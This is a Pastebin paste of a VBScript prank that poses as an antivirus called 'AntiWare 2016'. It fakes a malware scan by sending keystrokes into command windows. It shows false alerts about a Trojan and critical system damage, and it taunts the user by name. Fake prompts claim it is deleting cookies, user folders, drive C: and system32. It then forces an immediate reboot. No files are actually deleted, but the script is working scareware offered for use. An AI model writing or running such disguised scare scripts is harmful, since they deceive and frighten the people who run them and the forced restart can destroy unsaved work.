Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Set WshShell = WScript.CreateObject("WScript.Shell")
- Set objShell = CreateObject("Shell.Application")
- msgbox "Choose a folder to start the virus scan in",0+64,"AntiWare 2016"
- Set objFolder = objShell.BrowseForFolder(0, "Choose a folder", 1, "c:\Programs")
- If objFolder Is Nothing Then
- Wscript.Quit
- End If
- strName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
- strPath = ("You selected folder: " & objFolder.title)
- strDetected=("Potential Trojan detected in : " & objFolder.self.path & " !")
- strMessage = "Are you sure you wish to permanently delete this directory and all its files and subfolders " & objFolder.self.path & "?"
- m=msgbox(strPath,0+64,"AntiWare 2016")
- WshShell.Run "cmd"
- WScript.sleep 500
- wshshell.sendkeys "cd"
- wshshell.sendkeys " "
- wshshell.sendkeys objFolder.self.path
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "dir"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "cls"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "Scanning for malware..."
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "dir"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "dir"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 1000
- wshshell.sendkeys "tree"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "exit"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- m=msgbox(strDetected,0+16,"AntiWare 2016")
- x=MsgBox(strMessage, vbOKOnly + 1+32, "AntiWare 2016")
- m=msgbox("Critical: Unable to stop script!" ,0+16, "Virus found by AntiWare 2016")
- m=msgbox("Do you wish to retry?",4+32,"Virus found by AntiWare 2016")
- m=msgbox("Critical: Your system is severely affected by multiple threats. To abort all processes, press 'Abort'. To Scan again, press 'Retry'. To continue all processes, click 'Ignore'." ,2+16, "Virus found by AntiWare 2016")
- WshShell.Run "cmd"
- WScript.sleep 100
- wshshell.sendkeys "color 04"
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "cls"
- WScript.sleep 200
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 200
- wshshell.sendkeys "A"
- WScript.sleep 200
- wshshell.sendkeys "r"
- WScript.sleep 200
- wshshell.sendkeys "e"
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "y"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "u"
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "s"
- WScript.sleep 200
- wshshell.sendkeys "c"
- WScript.sleep 200
- wshshell.sendkeys "a"
- WScript.sleep 200
- wshshell.sendkeys "r"
- WScript.sleep 200
- wshshell.sendkeys "e"
- WScript.sleep 200
- wshshell.sendkeys "d"
- WScript.sleep 200
- wshshell.sendkeys ","
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys strName
- WScript.sleep 200
- wshshell.sendkeys "?"
- x=msgbox ("?",4)
- wshshell.sendkeys "{ENTER}"
- wshshell.sendkeys "cls"
- wshshell.sendkeys "{ENTER}"
- if x=6 Then
- WScript.sleep 200
- wshshell.sendkeys "G"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "d"
- WScript.sleep 200
- wshshell.sendkeys ","
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "y"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "u"
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "s"
- WScript.sleep 200
- wshshell.sendkeys "h"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "u"
- WScript.sleep 200
- wshshell.sendkeys "l"
- WScript.sleep 200
- wshshell.sendkeys "d"
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "b"
- WScript.sleep 200
- wshshell.sendkeys "e"
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 200
- wshshell.sendkeys "."
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "exit"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- End If
- if x=7 Then
- WScript.sleep 200
- wshshell.sendkeys "N"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "?"
- WScript.sleep 500
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 200
- wshshell.sendkeys "Y"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "u"
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "s"
- WScript.sleep 200
- wshshell.sendkeys "h"
- WScript.sleep 200
- wshshell.sendkeys "o"
- WScript.sleep 200
- wshshell.sendkeys "u"
- WScript.sleep 200
- wshshell.sendkeys "l"
- WScript.sleep 200
- wshshell.sendkeys "d"
- WScript.sleep 200
- wshshell.sendkeys " "
- WScript.sleep 200
- wshshell.sendkeys "b"
- WScript.sleep 200
- wshshell.sendkeys "e"
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 400
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "exit"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- End If
- WshShell.Run "cmd"
- WScript.sleep 100
- wshshell.sendkeys "color 04"
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "cls"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 500
- wshshell.sendkeys "dir"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 1000
- wshshell.sendkeys "dir"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 2000
- wshshell.sendkeys "cls"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "prompt deleting cookies..."
- WScript.sleep 400
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 1000
- wshshell.sendkeys "dir"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 1000
- wshshell.sendkeys "cls"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 2000
- wshshell.sendkeys "prompt deleting Users..."
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "cls"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 2000
- wshshell.sendkeys "prompt deleting drive 'C:'..."
- WScript.sleep 200
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "cls"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 1000
- x=msgbox ("Are you sure that you want to permanently delete all directories, files, and subfiles in environment variable: '%ALLDATA%' ? " ,4+32, "C:\")
- WScript.sleep 2000
- wshshell.sendkeys "prompt deleting system 32..."
- WScript.sleep 70
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "cls"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 1000
- wshshell.sendkeys "101101001011101001101011010101011001100000110110101111010100111010100101011"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "110100101110100111111001011010101011011010110101110100101011"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "1011010010111010010111011011001010011111010100111010100101011"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "10110110111110101010101111101111010100111010100101011"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- wshshell.sendkeys "1011010010111010011010110101010110011000001101102101111010101110101111100101011"
- WScript.sleep 40
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 40
- wshshell.sendkeys "exit"
- WScript.sleep 200
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 4000
- WshShell.Run "cmd"
- WScript.sleep 100
- wshshell.sendkeys "color 04"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "cls"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 200
- wshshell.sendkeys "B"
- WScript.sleep 200
- wshshell.sendkeys "y"
- WScript.sleep 200
- wshshell.sendkeys "e"
- WScript.sleep 200
- wshshell.sendkeys "."
- WScript.sleep 1000
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "cls"
- WScript.sleep 100
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 100
- wshshell.sendkeys "exit"
- WScript.sleep 200
- wshshell.sendkeys "{ENTER}"
- WScript.sleep 4000
- wshshell.run "shutdown.exe -r -t 1"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement